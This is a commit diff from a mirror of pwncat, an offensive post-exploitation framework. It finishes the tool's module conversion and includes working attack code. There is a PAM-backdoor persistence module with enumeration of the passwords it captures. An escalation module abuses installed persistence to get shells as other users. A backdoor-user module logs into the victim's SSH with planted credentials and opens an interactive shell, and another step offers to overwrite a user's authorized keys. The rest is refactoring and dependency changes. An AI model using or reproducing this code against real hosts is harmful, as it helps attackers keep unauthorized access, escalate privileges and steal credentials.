1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Final touches on converted modules

- Got the pam persistence module working
- Added persistence escalation module to utilize installed persistence
- Added escalation module priorities (EscalateModule.PRIORITY)
  - Should be > 0.
  - Default is 100.
  - Persistence escalation has priority of -1 to ensure it runs first.
- Added enumeration module for passwords retrieved from pam persistence.
- Removed version specifier for python-rich (it was very old for some reason).
This commit is contained in:
Caleb Stewart 2020-09-23 19:31:09 -04:00
parent f0fbb9851f
commit 5d7c334644
12 changed files with 177 additions and 44 deletions

View File

@ -116,7 +116,6 @@ def main():
pwncat.victim.session.commit() pwncat.victim.session.commit()
except InvalidRequestError: except InvalidRequestError:
pass pass
console.log("local terminal restored")
if __name__ == "__main__": if __name__ == "__main__":

View File

@ -1,4 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
import enum
import inspect import inspect
import pkgutil import pkgutil
import re import re
@ -39,6 +40,30 @@ class ModuleFailed(Exception):
""" Base class for module failure """ """ Base class for module failure """
class PersistError(ModuleFailed):
""" There was a problem performing a persistence action """
class PersistType(enum.Flag):
"""
The type of persistence we are installing. Local persistence only
provides a method of persistence escalation from another user.
Remote persistence allows us to re-establish C2 after disconnecting.
Local persistence must implement the `escalate` method while remote
persistence must implement the `connect` method.
Persistence modules can be both Local and Remote (e.g. private key
persistence when a local `ssh` client is available). You can simply
bitwise OR these flags together to specify both.
"""
LOCAL = enum.auto()
REMOTE = enum.auto()
ALL_USERS = enum.auto()
@dataclass @dataclass
class Argument: class Argument:
""" Argument information for a module """ """ Argument information for a module """

View File

@ -26,6 +26,7 @@ class Module(EnumerateModule):
"persist.gather", progress=self.progress, module="persist.pam_backdoor" "persist.gather", progress=self.progress, module="persist.pam_backdoor"
): ):
pam = module pam = module
break
if pam is None: if pam is None:
# The pam persistence module isn't installed. # The pam persistence module isn't installed.

View File

@ -7,6 +7,7 @@ import time
import os import os
# import rich.prompt # import rich.prompt
from rich.prompt import Confirm
import pwncat import pwncat
from pwncat.modules import ( from pwncat.modules import (
@ -353,7 +354,6 @@ class EscalateChain(Result):
pwncat.victim.update_user() pwncat.victim.update_user()
@dataclasses.dataclass
class EscalateResult(Result): class EscalateResult(Result):
""" The result of running an escalate module. This object contains """ The result of running an escalate module. This object contains
all the enumerated techniques and provides an abstract way to employ all the enumerated techniques and provides an abstract way to employ
@ -363,6 +363,14 @@ class EscalateResult(Result):
techniques: Dict[str, List[Technique]] techniques: Dict[str, List[Technique]]
""" List of techniques available keyed by the user """ """ List of techniques available keyed by the user """
def __init__(self, techniques):
self.techniques: Dict[str, List[Technique]] = {}
for key, value in techniques:
self.techniques[key] = sorted(
techniques[key], key=lambda v: v.module.PRIORITY
)
@property @property
def category(self): def category(self):
return None return None
@ -379,7 +387,7 @@ class EscalateResult(Result):
for technique in techniques: for technique in techniques:
result.append(f" - {technique}") result.append(f" - {technique}")
return "\n".join(result) return "\n".join(result)
def extend(self, result: "EscalateResult"): def extend(self, result: "EscalateResult"):
""" Extend this result with another escalation enumeration result. """ Extend this result with another escalation enumeration result.
@ -388,9 +396,10 @@ class EscalateResult(Result):
for key, value in result.techniques.items(): for key, value in result.techniques.items():
if key not in self.techniques: if key not in self.techniques:
self.techniques[key] = value self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
else: else:
self.techniques[key].extend(value) self.techniques[key].extend(value)
self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
def add(self, technique: Technique): def add(self, technique: Technique):
""" Add a new technique to this result object """ """ Add a new technique to this result object """
@ -671,7 +680,7 @@ class EscalateResult(Result):
# This is important. Ask the user if they want to # This is important. Ask the user if they want to
# clobber the authorized keys # clobber the authorized keys
progress.stop() progress.stop()
if rich.prompt.Confirm( if Confirm(
"could not read authorized keys; attempt to clobber user keys?" "could not read authorized keys; attempt to clobber user keys?"
): ):
authkeys = [] authkeys = []
@ -805,6 +814,11 @@ class EscalateModule(BaseModule):
# while still returning a single value # while still returning a single value
COLLAPSE_RESULT = True COLLAPSE_RESULT = True
PRIORITY = 100
""" The priority of this escalation module. Values < 0 are reserved.
Indicates the order in which techniques are executed when attempting
escalation. """
def run(self, user, exec, read, write, shell, path, data, **kwargs): def run(self, user, exec, read, write, shell, path, data, **kwargs):
""" This method is not overriden by subclasses. Subclasses should """ This method is not overriden by subclasses. Subclasses should
override the `enumerate`, `write`, `read`, and `exec` methods. override the `enumerate`, `write`, `read`, and `exec` methods.

View File

@ -0,0 +1,52 @@
#!/usr/bin/env python3
import pwncat
from pwncat.modules import Status
from pwncat.platform import Platform
from pwncat.gtfobins import Capability
from pwncat.modules.persist import PersistError, PersistType
from pwncat.modules.persist.gather import InstalledModule
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique
class PersistenceTechnique(Technique):
""" Escalates privileges utilizing an installed persistence
technique. """
def __init__(self, module: EscalateModule, user: str, persist: InstalledModule):
super(PersistenceTechnique, self).__init__(Capability.SHELL, user, module)
self.persist = persist
def exec(self, binary: str):
""" Run the given shell as another user """
try:
# Attempt to escalate
self.persist.escalate(user=self.user, progress=self.module.progress)
except PersistError as exc:
raise EscalateError(str(exc))
class Module(EscalateModule):
""" This module will enumerate all installed persistence methods which
offer local escalation. """
PLATFORM = Platform.ANY
def enumerate(self):
for persist in pwncat.modules.run("persist.gather", progress=self.progress):
if PersistType.LOCAL not in persist.module.TYPE:
continue
if persist.persist.user is None:
users = pwncat.victim.users.keys()
else:
users = persist.persist.user
for user in users:
yield PersistenceTechnique(self, user, persist)
return
def human_name(self, tech: PersistenceTechnique):
return str(tech.persist)

View File

@ -5,31 +5,15 @@ import inspect
import pwncat import pwncat
import pwncat.db import pwncat.db
from pwncat.util import State from pwncat.util import State
from pwncat.modules import BaseModule, Argument, Bool, Status, ModuleFailed from pwncat.modules import (
BaseModule,
Argument,
class PersistError(ModuleFailed): Bool,
""" There was a problem performing a persistence action """ Status,
ModuleFailed,
PersistError,
class PersistType(enum.Flag): PersistType,
""" )
The type of persistence we are installing. Local persistence only
provides a method of persistence escalation from another user.
Remote persistence allows us to re-establish C2 after disconnecting.
Local persistence must implement the `escalate` method while remote
persistence must implement the `connect` method.
Persistence modules can be both Local and Remote (e.g. private key
persistence when a local `ssh` client is available). You can simply
bitwise OR these flags together to specify both.
"""
LOCAL = enum.auto()
REMOTE = enum.auto()
ALL_USERS = enum.auto()
class PersistModule(BaseModule): class PersistModule(BaseModule):
@ -74,6 +58,8 @@ class PersistModule(BaseModule):
), ),
} }
COLLAPSE_RESULT = True COLLAPSE_RESULT = True
# We should always try persistence before other methods.
PRIORITY = -1
def __init__(self): def __init__(self):
super(PersistModule, self).__init__() super(PersistModule, self).__init__()

View File

@ -10,8 +10,8 @@ import pwncat
import pwncat.tamper import pwncat.tamper
from pwncat.util import Access from pwncat.util import Access
from pwncat.platform import Platform from pwncat.platform import Platform
from pwncat.modules import Argument from pwncat.modules import Argument, PersistType, PersistError
from pwncat.modules.persist import PersistModule, PersistType, PersistError from pwncat.modules.persist import PersistModule
class Module(PersistModule): class Module(PersistModule):

View File

@ -31,9 +31,14 @@ class InstalledModule(Result):
""" Remove this module """ """ Remove this module """
self.module.run(remove=True, progress=progress, **self.persist.args) self.module.run(remove=True, progress=progress, **self.persist.args)
def escalate(self, progress=None): def escalate(self, user=None, progress=None):
""" Escalate utilizing this persistence module """ """ Escalate utilizing this persistence module """
self.module.run(escalate=True, progress=progress, **self.persist.args)
args = self.persist.args.copy()
if user is not None:
args["user"] = user
self.module.run(escalate=True, progress=progress, **args)
def connect(self, user=None, progress=None): def connect(self, user=None, progress=None):
@ -98,6 +103,12 @@ class Module(BaseModule):
query = query.filter_by(method=module) query = query.filter_by(method=module)
# Grab all the rows # Grab all the rows
# We also filter here for any other key-value arguments passed
# to the `run` call. We ensure the relevant key exists, and
# that it is equal to the specified value, unless the key is None.
# If a key is None in the database, we assume it can take on any
# value and utilize it as is. This is mainly for the `user` argument
# as some persistence methods apply to all users.
modules = [ modules = [
InstalledModule( InstalledModule(
persist=row, persist=row,
@ -106,7 +117,8 @@ class Module(BaseModule):
for row in query.all() for row in query.all()
if all( if all(
[ [
key in row.args and row.args[key] == value key in row.args
and (row.args[key] == value or row.args[key] is None)
for key, value in kwargs.items() for key, value in kwargs.items()
] ]
) )
@ -122,10 +134,15 @@ class Module(BaseModule):
for module in modules: for module in modules:
yield Status(f"escalating w/ [cyan]{module.name}[/cyan]") yield Status(f"escalating w/ [cyan]{module.name}[/cyan]")
try: try:
module.escalate(progress=self.progress) # User is a special case. It can be passed on because some modules
# apply to all users, which means their `args` will contain `None`.
if "user" in kwargs:
module.escalate(user=kwargs["user"], progress=self.progress)
else:
module.escalate(progress=self.progress)
# Escalation succeeded! # Escalation succeeded!
return return
except pwncat.modules.persist.PersistError: except pwncat.modules.PersistError:
# Escalation failed # Escalation failed
pass pass

View File

@ -12,8 +12,8 @@ import paramiko
import pwncat import pwncat
from pwncat.util import CompilationError, Access from pwncat.util import CompilationError, Access
from pwncat.platform import Platform from pwncat.platform import Platform
from pwncat.modules import Argument, Status from pwncat.modules import Argument, Status, PersistError, PersistType
from pwncat.modules.persist import PersistModule, PersistError, PersistType from pwncat.modules.persist import PersistModule
class Module(PersistModule): class Module(PersistModule):
@ -223,7 +223,7 @@ class Module(PersistModule):
""" Escalate to the given user with this module """ """ Escalate to the given user with this module """
try: try:
pwncat.victim.su(user, password, check=True) pwncat.victim.su(user, password)
except PermissionError: except PermissionError:
raise PersistError("Escalation failed. Is selinux enabled?") raise PersistError("Escalation failed. Is selinux enabled?")

View File

@ -1,9 +1,12 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
import socket
import crypt import crypt
import paramiko
import pwncat import pwncat
from pwncat.modules import Argument from pwncat.modules import Argument, Status, PersistType, PersistError
from pwncat.modules.persist import PersistType, PersistModule, PersistError from pwncat.modules.persist import PersistModule
class Module(PersistModule): class Module(PersistModule):
@ -96,6 +99,42 @@ class Module(PersistModule):
# Reload the user database # Reload the user database
pwncat.victim.reload_users() pwncat.victim.reload_users()
def connect(self, user, backdoor_user, backdoor_pass, shell):
try:
yield Status("connecting to host")
# Connect to the remote host's ssh server
sock = socket.create_connection((pwncat.victim.host.ip, 22))
except Exception as exc:
raise PersistError(str(exc))
# Create a paramiko SSH transport layer around the socket
yield Status("wrapping socket in ssh transport")
t = paramiko.Transport(sock)
try:
t.start_client()
except paramiko.SSHException:
raise PersistError("ssh negotiation failed")
# Attempt authentication
try:
yield Status("authenticating with victim")
t.auth_password(backdoor_user, backdoor_pass)
except paramiko.ssh_exception.AuthenticationException:
raise PersistError("incorrect password")
if not t.is_authenticated():
t.close()
sock.close()
raise PersistError("incorrect password")
# Open an interactive session
chan = t.open_session()
chan.get_pty()
chan.invoke_shell()
yield chan
def escalate(self, user, backdoor_user, backdoor_pass, shell): def escalate(self, user, backdoor_user, backdoor_pass, shell):
""" Utilize this module to escalate """ """ Utilize this module to escalate """

View File

@ -26,7 +26,7 @@ pytablewriter==0.54.0
python-dateutil==2.8.1 python-dateutil==2.8.1
pytz==2020.1 pytz==2020.1
requests==2.24.0 requests==2.24.0
rich==3.3.2 rich
six==1.15.0 six==1.15.0
SQLAlchemy==1.3.18 SQLAlchemy==1.3.18
tabledata==1.1.2 tabledata==1.1.2

View File

@ -34,7 +34,7 @@ dependencies = [
"python-dateutil==2.8.1", "python-dateutil==2.8.1",
"pytz==2020.1", "pytz==2020.1",
"requests==2.24.0", "requests==2.24.0",
"rich==3.3.2", "rich",
"six==1.15.0", "six==1.15.0",
"SQLAlchemy==1.3.18", "SQLAlchemy==1.3.18",
"tabledata==1.1.2", "tabledata==1.1.2",